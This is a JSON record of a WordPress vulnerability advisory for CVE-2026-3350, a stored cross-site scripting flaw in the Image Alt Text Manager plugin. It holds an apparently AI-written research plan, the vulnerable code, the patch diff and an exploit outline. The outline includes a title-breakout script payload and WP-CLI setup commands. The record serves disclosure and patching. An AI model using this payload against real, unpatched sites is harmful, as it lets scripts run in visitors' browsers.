[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fKGspm8nsUCvwjUd0mZgipeNhvVSk6kCBwpAVJZg_-yY":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":26,"research_verified":27,"research_rounds_completed":28,"research_plan":29,"research_summary":30,"research_vulnerable_code":31,"research_fix_diff":32,"research_exploit_outline":33,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":27,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":27,"source_links":37},"CVE-2026-3350","image-alt-text-manager-authenticated-author-stored-cross-site-scripting-via-post-title","Image Alt Text Manager \u003C= 1.8.2 - Authenticated (Author+) Stored Cross-Site Scripting via Post Title","The Image Alt Text Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the post title in all versions up to, and including, 1.8.2. This is due to insufficient input sanitization and output escaping when dynamically generating image alt and title attributes using a DOM parser. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","alt-manager",null,"\u003C=1.8.2","1.8.3","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-03-20 10:42:47","2026-03-20 23:25:13",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fcc09377b-f30b-414b-a551-d3689ddcc5a4?source=api-prod",1,[22,23,24,25],"alt-manager.php","inc\u002Falm-empty-generator.php","inc\u002Falm-functions.php","readme.txt","researched",false,3,"# Research Plan: CVE-2026-3350 - Stored XSS via Post Title\n\n## 1. Vulnerability Summary\nThe **Image Alt Text Manager** plugin (up to 1.8.2) is vulnerable to Stored Cross-Site Scripting (XSS). The plugin dynamically generates `alt` and `title` attributes for `\u003Cimg>` tags by parsing the page's HTML content using the `simple_html_dom` library. During this process, it retrieves the current Post Title and injects it directly into image attributes without proper sanitization or escaping. Because the `simple_html_dom` library's `setAttribute` method does not automatically handle attribute breakout characters (like `\"`), an attacker with Author-level privileges can craft a Post Title that breaks out of the `alt` or `title` attribute and executes arbitrary JavaScript.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: Frontend post viewing (e.g., `\u002F?p=ID`).\n- **Hook**: `template_redirect` (specifically calling `alm_init`).\n- **Vulnerable Parameter**: Post Title (`post_title` in the `wp_posts` table).\n- **Authentication Level**: Author or above (required to create or edit posts and set titles).\n- **Preconditions**:\n    1. The plugin must be configured to use \"Post Title\" for either image `alt` or `title` attributes.\n    2. The target page\u002Fpost must contain at least one `\u003Cimg>` tag for the DOM parser to process.\n\n## 3. Code Flow\n1.  **Entry Point**: A user requests a single post page.\n2.  **Hook Execution**: `inc\u002Falm-empty-generator.php` registers `alm_init` on the `template_redirect` hook at `PHP_INT_MAX`.\n3.  **Output Buffering**: `alm_init()` starts an output buffer using `ob_start( 'get_content' )`.\n4.  **Filter Application**: The `get_content()` function applies the `alm_output` filter, which is handled by `alm_generator($alm_data_generator)`.\n5.  **DOM Parsing**: `alm_generator` parses the entire page HTML using `str_get_html( $alm_data_generator )`.\n6.  **Data Retrieval**: The code identifies `\u003Cimg>` tags and populates an `$options` array:\n    ```php\n    \u002F\u002F inc\u002Falm-empty-generator.php\n    $options = [\n        \u002F\u002F ...\n        'Post Title' => get_post_field( 'post_title', $ID ),\n        \u002F\u002F ...\n    ];\n    ```\n7.  **Vulnerable Sink**: The plugin checks settings (e.g., `post_images_alt`). If \"Post Title\" is selected, it retrieves the raw title and sets the attribute:\n    ```php\n    \u002F\u002F inc\u002Falm-empty-generator.php\n    foreach ( alm_get_option( 'post_images_alt' ) as $option ) {\n        if ( array_key_exists( $option, $options ) ) {\n            $alt .= $options[$option]; \u002F\u002F Raw post title is appended\n        }\n    }\n    \u002F\u002F ...\n    $img->setAttribute( 'alt', $alt ); \u002F\u002F Sink: simple_html_dom doesn't escape quotes\n    ```\n8.  **Output**: The modified HTML is returned via `$html->save()` and rendered in the browser.\n\n## 4. Nonce Acquisition Strategy\nThis vulnerability does not require a plugin-specific nonce to exploit. The \"storage\" phase uses the standard WordPress post creation\u002Fediting interface (which uses core nonces handled by the browser). The \"execution\" phase is triggered by a simple GET request to the public-facing post.\n\n## 5. Exploitation Strategy\nThe goal is to demonstrate that an Author can inject a payload into a Post Title that executes when any user views the post.\n\n### Step 1: Configure Plugin (Admin)\nThe plugin needs to be told to use the \"Post Title\" for image attributes. This is usually the default or a common configuration.\n- Update option `post_images_alt` to include `Post Title`.\n- Update option `only_empty_images_alt` to `disabled` (to ensure it processes all images).\n\n### Step 2: Inject Payload (Author)\nCreate a post with a title designed to break out of the `alt=\"...\"` attribute.\n- **Payload**: `\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>`\n- **Content**: Must include an `\u003Cimg>` tag so the plugin has a target for the attribute injection.\n\n### Step 3: Trigger Execution (Guest\u002FVictim)\nNavigate to the post URL as an unauthenticated user.\n\n## 6. Test Data Setup\nPerform the following via WP-CLI before the exploit:\n\n```bash\n# 1. Create an Author user\nwp user create attacker attacker@example.com --role=author --user_pass=password123\n\n# 2. Configure the plugin to use Post Title for Alt Text (As Admin)\n# Note: Options in this plugin are stored as 'post_images_alt'\nwp option update post_images_alt '[\"Post Title\"]' --format=json\nwp option update only_empty_images_alt 'disabled'\n\n# 3. Create a post with the payload as the Author\n# The image in content is essential for the plugin to run its logic\nwp post create \\\n  --post_type=post \\\n  --post_author=$(wp user get attacker --field=ID) \\\n  --post_title='\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>' \\\n  --post_content='Check out this image: \u003Cimg src=\"https:\u002F\u002Fexample.com\u002Ftest.jpg\" class=\"test-img\">' \\\n  --post_status=publish\n```\n\n## 7. Expected Results\n1.  The plugin will process the post page.\n2.  It will find the `\u003Cimg>` tag.\n3.  It will fetch the post title: `\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>`.\n4.  It will set the `alt` attribute of the image.\n5.  The resulting HTML rendered to the browser will be:\n    ```html\n    \u003Cimg src=\"https:\u002F\u002Fexample.com\u002Ftest.jpg\" class=\"test-img\" alt=\"\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>\">\n    ```\n6.  The browser will execute the `\u003Cscript>` block and show an alert.\n\n## 8. Verification Steps\nAfter using the `http_request` tool to visit the post, verify the output:\n1.  **Response Body Check**: Look for the literal string `\u003Cscript>alert(document.domain)\u003C\u002Fscript>` outside of an attribute context.\n2.  **DOM Check**: Use `browser_eval` to check if the script executed or if the DOM reflects the breakout:\n    ```javascript\n    browser_eval(\"document.querySelector('img.test-img').getAttribute('alt')\") \n    \u002F\u002F This should return \"\" (empty) because the browser terminates the attribute at the first \"\n    ```\n\n## 9. Alternative Approaches\nIf the plugin is configured to only generate attributes for *featured* images or specific classes:\n- **Featured Image**: Assign an attachment to the post as the featured image using `wp post term set \u003CID> \u003Cthumbnail_id>`.\n- **Title Attribute**: If `post_images_alt` is patched or filtered, try the `post_images_title` setting, which follows the same vulnerable code path in `alm_generator`.\n- **Logic in `inc\u002Falm-functions.php`**: The plugin also uses the `wp_get_attachment_image_attributes` filter. If the DOM parser in `template_redirect` fails, images rendered via `the_post_thumbnail()` might still be vulnerable via the code in `inc\u002Falm-functions.php`:\n    ```php\n    \u002F\u002F inc\u002Falm-functions.php\n    function alm_image_attributes( $attr, $attachment ) {\n        \u002F\u002F ...\n        $options['Post Title'] = get_post_field( 'post_title', $ID );\n        \u002F\u002F ...\n        $attr['alt'] = $alt; \u002F\u002F This is returned to WordPress core and echoed in HTML\n    }\n    ```","The Image Alt Text Manager plugin is vulnerable to Stored Cross-Site Scripting (XSS) via the post title because it fails to sanitize or escape content before injecting it into image alt and title attributes. Authenticated attackers with Author-level permissions can create posts with malicious titles that execute arbitrary JavaScript when viewed by any visitor.","\u002F\u002F inc\u002Falm-empty-generator.php (approx lines 145-151)\n$options = [\n    'Site Name'        => get_bloginfo( 'name' ),\n    'Site Description' => get_bloginfo( 'description' ),\n    'Page Title'       => get_the_title( $ID ),\n    'Post Title'       => get_post_field( 'post_title', $ID ),\n    'Product Title'    => get_post_field( 'post_title', $ID ),\n];\n\n\u002F\u002F ... later in the same file (approx lines 194-200)\nif ( 'enabled' === $generate_empty_alt && empty( $img->getAttribute( 'alt' ) ) ) {\n    $img->setAttribute( 'alt', $alt );\n} elseif ( 'enabled' === $generate_empty_alt && !empty( $img->getAttribute( 'alt' ) ) ) {\n    $img->setAttribute( 'alt', $img->getAttribute( 'alt' ) );\n} else {\n    $img->setAttribute( 'alt', $alt );\n}\n\n---\n\n\u002F\u002F inc\u002Falm-functions.php (approx lines 33-39)\n$options = [\n    'Site Name'        => get_bloginfo( 'name' ),\n    'Site Description' => get_bloginfo( 'description' ),\n    'Page Title'       => get_the_title( $ID ),\n    'Post Title'       => get_post_field( 'post_title', $ID ),\n    'Product Title'    => get_post_field( 'post_title', $ID ),\n];\n\n\u002F\u002F ... later in the same file (approx lines 67-73)\nif ( 'enabled' === $generate_empty_alt && empty( $attr['alt'] ) ) {\n    $attr['alt'] = $alt;\n} elseif ( 'enabled' === $generate_empty_alt && !empty( $attr['alt'] ) ) {\n    $attr['alt'] = $attr['alt'];\n} else {\n    $attr['alt'] = $alt;\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Falt-manager\u002F1.8.2\u002Finc\u002Falm-empty-generator.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Falt-manager\u002F1.8.3\u002Finc\u002Falm-empty-generator.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Falt-manager\u002F1.8.2\u002Finc\u002Falm-empty-generator.php\t2026-03-03 10:53:44.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Falt-manager\u002F1.8.3\u002Finc\u002Falm-empty-generator.php\t2026-03-10 15:39:44.000000000 +0000\n@@ -144,11 +144,11 @@\n                 if ( !$is_featured && $img->getAttribute( 'class' ) !== 'wpml-ls-flag' && !($has_alt && $has_title) ) {\n                     \u002F\u002F options\n                     $options = [\n-                        'Site Name'        => get_bloginfo( 'name' ),\n-                        'Site Description' => get_bloginfo( 'description' ),\n-                        'Page Title'       => get_the_title( $ID ),\n-                        'Post Title'       => get_post_field( 'post_title', $ID ),\n-                        'Product Title'    => get_post_field( 'post_title', $ID ),\n+                        'Site Name'        => sanitize_text_field( get_bloginfo( 'name' ) ),\n+                        'Site Description' => sanitize_text_field( get_bloginfo( 'description' ) ),\n+                        'Page Title'       => sanitize_text_field( get_the_title( $ID ) ),\n+                        'Post Title'       => sanitize_text_field( get_post_field( 'post_title', $ID ) ),\n+                        'Product Title'    => sanitize_text_field( get_post_field( 'post_title', $ID ) ),\n                     ];\n@@ -191,11 +191,11 @@\n                             \u002F\u002FEmpty alt option\n                             if ( 'enabled' === $generate_empty_alt && empty( $img->getAttribute( 'alt' ) ) ) {\n-                                $img->setAttribute( 'alt', $alt );\n+                                $img->setAttribute( 'alt', esc_attr( $alt ) );\n                             } elseif ( 'enabled' === $generate_empty_alt && !empty( $img->getAttribute( 'alt' ) ) ) {\n-                                $img->setAttribute( 'alt', $img->getAttribute( 'alt' ) );\n+                                $img->setAttribute( 'alt', esc_attr( $img->getAttribute( 'alt' ) ) );\n                             } else {\n-                                $img->setAttribute( 'alt', $alt );\n+                                $img->setAttribute( 'alt', esc_attr( $alt ) );\n                             }","The exploit targets the dynamic generation of image attributes on the frontend. \n\n1. Authentication: The attacker needs at least Author-level access to create or edit posts.\n2. Plugin Configuration: The plugin must be active and configured to use 'Post Title' for image alt or title attributes (this is often the default or a common configuration).\n3. Payload: The attacker creates a new post and sets the 'Post Title' to a breakout payload, such as `\">\u003Cscript>alert(document.domain)\u003C\u002Fscript>`. The post content must include at least one `\u003Cimg>` tag.\n4. Trigger: When any user (including an unauthenticated guest) views the post, the plugin's output buffer handler (`alm_init`) parses the HTML. It retrieves the malicious post title and injects it into the image's attributes using `setAttribute`. \n5. Execution: Because the payload contains double quotes and the plugin does not escape them, the `alt` attribute is terminated early, allowing the `\u003Cscript>` tag to be rendered as a separate element in the DOM and executed by the browser.","gemini-3-flash-preview","2026-04-18 01:17:32","2026-04-18 01:18:11",{"type":38,"vulnerable_version":39,"fixed_version":11,"vulnerable_browse":40,"vulnerable_zip":41,"fixed_browse":42,"fixed_zip":43,"all_tags":44},"plugin","1.8.2","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Falt-manager\u002Ftags\u002F1.8.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Falt-manager.1.8.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Falt-manager\u002Ftags\u002F1.8.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Falt-manager.1.8.3.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Falt-manager\u002Ftags"]